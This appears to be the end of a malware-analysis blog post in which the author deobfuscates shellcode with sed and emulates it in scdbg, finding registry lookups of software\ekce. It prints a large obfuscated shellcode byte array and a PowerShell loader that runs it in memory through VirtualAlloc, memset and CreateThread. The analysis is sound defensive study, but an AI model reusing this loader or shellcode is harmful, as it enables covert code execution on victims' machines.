50,0x6A,0x00,0xFF,0x55,<#jij#>0xA8,0x89,0x85,0x5C,0xFF,0xFF,0xFF,0x83,0xBD,0x5C,0xFF,0xFF,<#vw#>0xFF,0x00,0x74,0x29,0x8B,0x85,0x5C,0xFF,0xFF,0xFF,0x89,0x85,0x4C,0xFF,0xFF,<#iku#>0xFF,0x8B,0x85,<#js#>0x60,<#kd#>0xFF,0xFF,0xFF,0x50,0x8B,0x85,0x64,0xFF,0xFF,0xFF,0x50,0x8B,0x85,0x4C,0xFF,0xFF,0xFF,0x50,0xFF,0x95,<#wh#>0x78,0xFF,0xFF,<#wwb#>0xFF,0xEB,0x05,0x6A,0x00,0xFF,0x55,0xA4,0x8B,0x85,0x60,0xFF,0xFF,0xFF,<#si#>0x48,0x85,0xC0,0x72,0x74,0x40,0x89,0x85,0x3C,0xFF,0xFF,0xFF,0x33,0xF6,0x43,0x81,0xE3,0xFF,0x00,0x00,0x00,0x03,0xBC,0x9D,0x00,0xFB,0xFF,0xFF,0x81,0xE7,0xFF,0x00,0x00,0x00,0x8A,0x84,0x9D,0x00,0xFB,0xFF,0xFF,0x8B,0x94,0xBD,0x00,0xFB,0xFF,0xFF,0x89,0x94,0x9D,0x00,0xFB,0xFF,0xFF,0x25,0xFF,0x00,0x00,0x00,0x89,0x84,0xBD,0x00,0xFB,0xFF,0xFF,0x8B,0x85,0x4C,0xFF,0xFF,0xFF,0x8A,0x04,0x30,0x8B,0x94,0x9D,0x00,0xFB,0xFF,<#sru#>0xFF,0x03,0x94,0xBD,0x00,0xFB,0xFF,0xFF,0x81,0xE2,0xFF,0x00,0x00,0x00,0x32,0x84,0x95,0x00,0xFB,0xFF,0xFF,0x8B,0x95,0x4C,0xFF,0xFF,0xFF,0x88,<#ev#>0x04,0x32,0x46,0xFF,0x8D,0x3C,0xFF,0xFF,0xFF,0x75,0x95,0x8B,0x85,0x4C,<#oq#>0xFF,0xFF,0xFF,0x89,0x45,<#ah#>0xD4,0x8B,0x45,0xD4,0x66,0x81,0x38,0x4D,<#ta#>0x5A,0x0F,0x85,0xDA,0x02,0x00,0x00,0x8B,0x45,0xD4,<#qy#>0x8B,0x40,0x3C,0x03,0x85,0x4C,0xFF,0xFF,0xFF,0x89,0x45,<#kco#>0xD0,0x8B,0x45,0xD0,0x81,<#vo#>0x38,0x50,0x45,0x00,0x00,0x0F,0x85,0xBC,0x02,0x00,0x00,0x8B,0x45,0xD0,0x8B,0x58,0x50,0x03,0xDB,<#xlf#>0x6A,0x40,0x68,0x00,0x30,0x00,0x00,0x53,0x6A,<#wle#>0x00,0xFF,0x55,0xA8,0x89,0x45,<#bf#>0xF8,0x83,0x7D,<#of#>0xF8,0x00,0x0F,0x84,0x9A,0x02,0x00,0x00,0x8B,0x45,0xD0,0x8B,<#xp#>0x40,<#vxw#>0x54,<#vef#>0x50,0x8B,0x85,0x4C,<#ew#>0xFF,0xFF,0xFF,0x50,0x8B,0x45,0xF8,0x50,<#bbd#>0xFF,0x95,0x78,0xFF,0xFF,0xFF,0x6A,0x04,0x8B,0x85,0x7C,0xFF,0xFF,0xFF,0x05,0xE0,0x00,<#dfh#>0x00,0x00,0x50,0x8B,0x45,0xD0,0x8B,0x40,0x50,0x03,0x45,0xF8,0x50,0xFF,0x95,0x78,0xFF,0xFF,0xFF,0x8B,0x85,0x7C,0xFF,0xFF,0xFF,0x8B,0x80,0xE0,0x00,0x00,0x00,0x50,<#hxe#>0x8B,<#od#>0x85,0x4C,0xFF,0xFF,0xFF,0x50,0x8B,0x45,0xD0,0x8B,<#bdt#>0x40,0x50,0x03,0x45,0xF8,0x83,0xC0,0x04,0x50,0xFF,0x95,0x78,<#boc#>0xFF,0xFF,0xFF,0x6A,0x60,0x8B,0x85,<#wu#>0x7C,0xFF,0xFF,0xFF,0x83,0xC0,0x7A,0x50,0x8B,0x45,0xD0,0x8B,0x40,0x50,0x03,0x45,0xF8,0x83,<#on#>0xC0,0x04,0x8B,0x95,0x7C,0xFF,<#gjg#>0xFF,0xFF,0x03,0x82,0xE0,0x00,0x00,0x00,0x50,0xFF,0x95,0x78,0xFF,0xFF,0xFF,0x8B,0x45,0xD0,0x0F,0xB7,0x40,0x06,0x48,0x85,0xC0,<#kiu#>0x7C,0x5F,0x40,0x89,0x85,0x3C,0xFF,0xFF,0xFF,0x33,0xF6,0x8B,0x55,0xD4,0x8B,0x52,0x3C,0x8B,0x85,0x4C,0xFF,0xFF,0xFF,0x03,0xD0,0x81,0xC2,0xF8,0x00,0x00,0x00,0x8B,0xCE,0xC1,0xE1,0x03,<#zr#>0x8D,0x0C,0x89,0x03,0xD1,0x89,0x95,0x50,0xFF,0xFF,0xFF,0x8B,0x95,0x50,0xFF,0xFF,0xFF,0x8B,0x52,<#hxa#>0x10,0x52,0x8B,0x95,0x50,0xFF,0xFF,0xFF,0x8B,0x52,0x14,0x03,0xD0,0x52,0x8B,0x85,0x50,0xFF,0xFF,0xFF,0x8B,0x40,0x0C,0x03,0x45,0xF8,0x50,0xFF,<#ro#>0x95,0x78,0xFF,0xFF,0xFF,<#yc#>0x46,0xFF,0x8D,0x3C,0xFF,0xFF,<#ypg#>0xFF,0x75,0xAA,0x8B,0x45,0xD0,0x8B,0x40,0x34,0x3B,0x45,0xF8,0x0F,0x84,0xCB,0x00,0x00,0x00,0x8B,0x45,0xD0,0x8B,0x55,0xF8,0x2B,0x50,0x34,0x89,0x55,0xD8,0x8B,0x45,<#jxt#>0xF8,0x89,0x45,0xF0,0x8B,0x45,0xD0,0x83,0xB8,0xA4,0x00,0x00,<#da#>0x00,0x00,0x0F,0x86,<#pyu#>0x87,0x00,<#kza#>0x00,0x00,0x8B,0x45,0xD0,0x8B,0x80,0xA0,0x00,<#vv#>0x00,0x00,0x03,0x45,0xF0,0x89,<#um#>0x45,0xEC,0xEB,0x6E,0x8B,0x45,0xEC,0x8B,0x00,0x03,0x45,0xF0,0x89,<#kzd#>0x45,0xE8,0x8B,0x45,0xEC,0x83,0xC0,0x08,0x89,0x45,0xE4,0x8B,0x45,0xEC,0x8B,0x40,0x04,<#frn#>0x83,0xE8,0x08,0xD1,0xE8,0x48,0x85,0xC0,0x72,0x3E,0x40,0x89,0x85,0x3C,0xFF,0xFF,0xFF,0x8B,0x45,0xE4,0x66,0x8B,0x10,0x0F,0xB7,0xC2,0xC1,0xE8,0x0C,0x8B,0xCA,0x66,0x81,0xE1,0xFF,0x0F,0x0F,0xB7,0xC9,0x83,0xF8,0x03,<#uvt#>0x75,0x10,<#dys#>0x8B,<#xss#>0x45,0xE8,0x03,0xC1,0x89,0x45,<#qsp#>0xE0,0x8B,0x45,0xE0,0x8B,0x55,0xD8,0x01,0x10,0x83,0x45,0xE4,0x02,0xFF,0x8D,0x3C,0xFF,0xFF,<#iow#>0xFF,0x75,0xC9,0x8B,0x45,0xEC,0x8B,0x40,0x04,0x03,0x45,0xEC,0x89,0x45,0xEC,0x8B,0x45,0xEC,0x83,0x38,0x00,0x77,0x8A,0x8B,0x45,0xD0,0x8B,0x55,0xF8,0x89,0x50,0x34,0x68,0xF8,0x00,0x00,0x00,0x8B,0x45,0xD0,0x50,0x8B,0x45,0xD4,0x8B,0x40,0x3C,0x03,0x45,0xF8,0x50,0xFF,0x95,0x78,0xFF,0xFF,<#md#>0xFF,0x8B,0x45,0xD0,0x05,0x80,0x00,0x00,0x00,0x89,0x45,0x90,0x8B,0x45,0x90,0x83,0x78,0x04,0x00,0x0F,<#hr#>0x86,0x9E,0x00,0x00,0x00,0x8B,0x45,0xD0,0x8B,0x80,0x80,0x00,0x00,<#has#>0x00,0x03,0x45,0xF8,<#oz#>0x89,0x45,0x8C,0xEB,0x7F,0x03,0x7D,0xF8,0x57,0xFF,0x55,0xBC,0x8B,<#qmp#>0xD8,0x85,0xDB,0x74,<#se#>0x72,0x8B,0x45,0x8C,0x83,0x38,0x00,0x74,0x0D,0x8B,0x45,0x8C,0x8B,0x00,0x03,0x45,0xF8,0x89,0x45,0x88,0xEB,<#nhi#>0x0C,0x8B,0x45,0x8C,0x8B,0x40,0x10,0x03,<#zw#>0x45,0xF8,0x89,0x45,0x88,0x8B,<#re#>0x45,<#fgs#>0x8C,0x8B,0x40,<#be#>0x10,0x03,0x45,0xF8,0x89,0x45,0x84,0xEB,0x37,0x8B,0x45,0x88,<#me#>0x8B,0x30,0xF7,0xC6,0x00,0x00,0x00,0x80,<#nn#>0x74,0x12,0x81,0xE6,0xFF,0xFF,0x00,0x00,<#odn#>0x56,0x53,<#hb#>0xFF,0x55,0xB8,0x8B,0x55,0x84,0x89,0x02,0xEB,0x10,0x03,0x75,0xF8,0x83,<#md#>0xC6,0x02,0x56,0x53,0xFF,0x55,0xB8,0x8B,0x55,0x84,0x89,0x02,0x83,0x45,0x88,0x04,0x83,0x45,0x84,<#cyw#>0x04,0x8B,<#uf#>0x45,0x88,0x83,0x38,0x00,<#xfd#>0x75,<#uwx#>0xC1,<#kv#>0x83,0x45,0x8C,0x14,0x8B,0x45,0x8C,0x8B,0x78,0x0C,0x85,0xFF,0x0F,0x85,0x73,0xFF,0xFF,0xFF,0x8B,0x45,0xD0,0x8B,0x40,0x28,0x03,0x45,0xF8,0x89,0x45,0xF4,0x31,0xC0,0x50,0x6A,0x01,0xFF,0x75,<#vr#>0xF8,0xFF,0x55,0xF4,0x6A,0x00,0xFF,0x55,0xA4,0x5F,0x5E,0x5B,0x8B,0xE5,0x5D,0xC2,0x04,0x00,0x8D,<#go#>0x40,0x00,0x73,0x6F,0x66,0x74,0x77,0x61,0x72,0x65,0x5C,0x65,0x6B,0x63,0x65,0x00,0x00,<#mmq#>0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,<#xa#>0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x62,0x6E,0x6A,0x66,0x6F,0x65,0x00,<#vjy#>0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x5E,0x67,0x3A,0x12,0x9A,0x95,0x15,0x63,<#zuj#>0x06,0xAF,0x82,0xDD,0xA0,0x4D,<#at#>0x53,0x85,0xF4,0x57,0xD5,<#mhv#>0x5D,0x57,0x6A,0xB0,0x69,0x4A,0x08,0xCA,0xD1,0x9F,0x4F,0xDE,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x73,0x00,0x68,0x00,0x65,0x00,0x6C,0x00,0x6C,<#ubx#>0x00,0x3C,0x00,0x3C,0x00,0x3A,0x00,0x3A,0x00,0x3E,0x00,0x3E,0x00,0x73,0x00,0x68,0x00,<#jc#>0x65,0x00,0x6C,0x00,0x6C,0x00,0x72,0x00,0x6D,0x00,0x3C,0x00,0x65,0x00,0x6B,0x00,0x63,0x00,0x65,0x00,0x3E,0x00,0x72,0x00,0x6D,0x00,<#sxr#>0x00,0x00,0x00,0x00,0x00,<#jd#>0x00,0x00,0x00,0x00,0x00,<#ora#>0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,<#wt#>0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,<#rea#>0x00,0x00,0x00,0x1F,0x00,0x00,0x00,0x00,0xAA,0x06,0x00,0x55,0x8B,0xEC,0x60,0x8B,0x7D,0x08,0x8B,0x75,0x0C,<#pyc#>0x8B,0x4D,0x10,0xF3,0xA4,0x61,0x5D,0xC2,0x0C,0x00,0x38,0xDB,0xE2,<#gb#>0x50,0xA3,0x70,0x80,0x60,0x41,0xF7,0x49,0xB3,0x5A,0xE1,0x53,0xD1,0xBC,0xB4,0x6E,0xB0,0x74,0x98,0xB4,0xF5,0x3C,0x6C,0x81,0x3D,0x12,0xB7,<#zg#>0xE9,0xF5,0xC2,0x34,0x23,0xA5,0x4E,0xD7,0x50,0x8D,0x7B,0x85,0xBB,0x19,0x00,0xD8,0x76,0x7F,0x09,0xB5,0xD3,0x86,0x14,0x82,<#ir#>0x44,0x59,0x5F,<#hld#>0x43,0x87,0xCB,<#wxa#>0x68,0xF6,0x32,0x8F,0x2E,0xEA,0x06,0x31,0x45,0xF0,<#oaw#>0x91,0xDA,0xDF,0x95,0x1F,0x38,<#vm#>0x5F,0xDA,0xE1,0xF4,0x1F,0x0D,0xE4,0xB7,<#frx#>0x6B,0xAB,0x3A,0x96,0xF8,0x8A,0x5A;
#wgtrs
$pr=([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((gproc kernel32.dll VirtualAlloc),(gdelegate @([IntPtr],[UInt32],[UInt32],[UInt32]) ([UInt32])))).Invoke(0,$sc32.Length,0x3000,0x40);
#ykcmdtyr
if($pr -ne 0){$memset=([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((gproc msvcrt.dll memset),(gdelegate @([UInt32],[UInt32],[UInt32]) ([IntPtr]))));
#mmaai
for ($i=0;$i -le ($sc32.Length-1);$i++) {$memset.Invoke(($pr+$i), $sc32[$i], 1)};
#tsaoik
([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((gproc kernel32.dll CreateThread),(gdelegate @([IntPtr],[UInt32],[UInt32],[UInt32],[UInt32],[IntPtr]) ([IntPtr])))).Invoke(0,0,$pr,$pr,0,0);
#wpzomec
}sleep(1200);}catch{}exit;
#dwkjttuue
#ysiuayivua

I next copied the contents of the variable $sc32, pasting it into a file named sc.bin. I then cleaned up the shellcode by removing the entries such as <#eg#>  taking advantage of sed. At the end, the finished product looked like.

remnux@remnux:/tmp$ cat sc.bin | sed -E 's/<#[a-z]*#>//g' | sed 's/0x/\\x/g' | sed 's/,//g' > sc-cleaned.bin

remnux@remnux:/tmp$ cat sc-cleaned.bin | more
\x55\x8B\xEC\x81\xC4\x00\xFA\xFF\xFF\x53\x56\x57\x53\x56\x57\xFC\x31\xD2\x64\x8B\x52\x30\x8B\x52\x0C\x8B\x5
2\x14\x8B\x72\x28\x6A\x18\x59\x31\xFF\x31\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x81\x
FF\x5B\xBC\x4A\x6A\x8B\x5A\x10\x8B\x12\x75\xDB\x89\x5D\xFC\x5F\x5E\x5B\x8B\x45\xFC\x89\x45\xD4\x8B\x45\xD4\
....... truncated for brevity .....

Taking a quick look from the perspective of scdbg, I see:

C:\users\securitynik>scdbg /auto /f sc-cleaned.bin
Detected \x encoding input format converting...

4012cf  LoadLibraryA(advapi32.dll)
401485  RegOpenKeyExA(HKLM\, )
40154d  RegOpenKeyExA(HKCU\, )
4015e4  ExitProcess(0)

Stepcount 49041

At this point, we see the shellcode interacts with the registry. However, we have no evidence of they particular keys which are being accessed. This is because the shellcode expects a parameter which points to its address in memory. Here is how that is provided via scdbg.

C:\users\securitynik>scdbg /f sc-cleaned.bin /vvv
Loaded 2e6c bytes from file sc-cleaned.bin
Detected \x encoding input format converting...
Initialization Complete..
Max Steps: 2000000
Using base offset: 0x401000 
    ; Nik's comments: 0x401000 location of shellcode in memory
    ; This value is to be passed as a parameter to the shellcode
Verbosity: 3

401000   55                              push ebp                step: 0  foffset: 0
eax=0         ecx=0         edx=0         ebx=0
esp=12fe00    ebp=12fff0    esi=0         edi=0          EFL 0
; Nik's comments: esp=12fe00 - Where the stack pointer currently points
; Since the shellcode address is a 4 byte value (x86 architecture), we need to push
; This 4 byte value to the stack, just before the shellcode is called.


dbg>
[ESP - 10] = 00000000
[ESP - c ] = 00000000
[ESP - 8 ] = 00000000
[ESP - 4 ] = 00000000
[ESP --> ] = 00000000 ; Nik's comments: ESP points to address 12fe00 but has a value of 0x00000000
[ESP + 4 ] = 00000000 ; Nik's comments: We need this to point have a value of the shellcode address in memory
[ESP + 8 ] = 00000000
[ESP + c ] = 00000000
[ESP + 10] = 00000000
[ESP + 14] = 00000000
[ESP + 18] = 00000000

dbg> .poke4 ; Nik's comments: specify we wish to add a 4 byte value

Enter address to write to: (hex/reg) 0x12fe04 ; Nik's comments: The 4 byte address of ESP+4 (12fe00+4)
12fe04
Enter value to write: (hex/reg) 0x401000 ; Nik's comments: Address of shellcode in memory
401000
dbg>
[ESP - 10] = 00000000
[ESP - c ] = 00000000
[ESP - 8 ] = 00000000
[ESP - 4 ] = 00000000
[ESP --> ] = 00000000
[ESP + 4 ] = 00401000 ; Nik's comments: ESP+4 now has the shellcode address in memory
[ESP + 8 ] = 00000000
[ESP + c ] = 00000000
[ESP + 10] = 00000000
[ESP + 14] = 00000000
[ESP + 18] = 00000000

dbg>
4012cf  LoadLibraryA(advapi32.dll)
401485  RegOpenKeyExA(HKLM\, software\ekce)
40154d  RegOpenKeyExA(HKCU\, software\ekce)
4015e4  ExitProcess(0)
; Nik's comments: After running, we now see the registry keys that it is attempting to open.

Stepcount 49041

That's it for me on this one. I achieved my learning objectives.

References:

Virus Total report 
HKEY_LOCAL_MACHINE\SOFTWARE\Classes
SANS FOR610 - Reverse Engineering Malware
JS Beautifier
SED Man page
scdbg shellcode analysis